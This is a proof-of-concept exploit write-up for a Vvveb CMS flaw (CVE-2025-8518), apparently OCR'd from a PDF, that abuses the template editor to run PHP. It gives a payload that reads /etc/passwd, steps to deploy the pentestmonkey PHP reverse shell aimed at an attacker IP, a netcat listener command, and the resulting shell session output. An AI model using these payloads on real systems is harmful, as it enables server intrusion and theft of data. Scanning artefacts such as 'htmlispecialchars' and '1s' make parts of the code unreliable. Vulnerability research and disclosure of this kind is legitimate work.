Vvveb CMS CVE-2025-8518

I Disclaimer

This PoC is intended for educational and research purposes only. The information
provided here should be used to understand, test, and mitigate security
vulnerabilities. Do not use this PoC on any system you do not have explicit, written
permission to test. The author is not responsible for any misuse or damage
caused by this information.

Vulnerability Analysis & Exploitation

The vulnerability lies in the template editor, which allows a user to save files with a
php extension and execute arbitrary PHP code.

Create a website template:
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Step 2.1: Confirm Code Execution (File Read)

First, we confirm our ability to execute code by reading a system file.

1. Edit the “theme.php"” file.

2. In the editor, replace its content with the following PHP payload:

<?php
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// Payload to test for local file read

echo "<h1>Contents of /etc/passwd</h1>";
echo "<pre>";

I

if (is_readable("/etc/passwd")) {

echo htmlispecialchars(file_get_contents("/etc/passwd"));

} else {

echo "/etc/passwd is not readable.";
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echo "</pre>";
?>
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3. Save the page and view it. You should see the contents of the container's
letc/passwd file displayed on the page, confirming arbitrary code execution.
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4. Now go to “Edit Website" to get the content.
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<title>Vvveb - Editor</title>

<link href="css/admin.css" rel="stylesheet">
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Step 2.2: Achieve a Reverse Shell
Now we escalate from code execution to a fully interactive shell.
1. Prepare the Payload:

o Download the pentestmonkey php-reverse-shell script.

e Openthe php-reverse-shell.php file and modify the sip and sport variables to
your attacker machine's IP address and a listening pot of your choice
(e.g., aaaa).

2. Set up a Listener:
On your attacker machine, start a netcat listener to catch the incoming
connection.

nc -lvnp 4444

3. Deploy the Shell:

o Go back to the Vvveb CMS editor for the same page (or create a new one).
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https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

o Delete the previous file-read payload and paste the entire content of your
modified script.

o Save the page.
4. Trigger the Shell:
e In your browser, navigate to the URL of the page you just edited.

e This action will execute the PHP script on the server. The server will
initiate a connection back to your machine.

5. Gain Access:

e Check your listener. You should now have a shell session connected
to the web server container.

$ nc -lvnp 4444
Listening on [0.0.0.0] (family O, port 4444)
Connection from [172.20.0.1] port 48638 received!

(remote) www-data@af9f74784ec2:/$ whoami
www-data
(remote) www-data@af9f74784ec2:/$

www—-data@af9f7u78uec2: /$ whoami
www—data
www—-data@af9of7u78uec2:/$ 1s
bin boot dev etc home 1ib 1ib6ld media mnt opt proc root run sbin srv sys tmp usr var

www-data@af9f7u78Uec2:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@af9f7u78uec2: /$

You now have remote code execution on the target container as the user.
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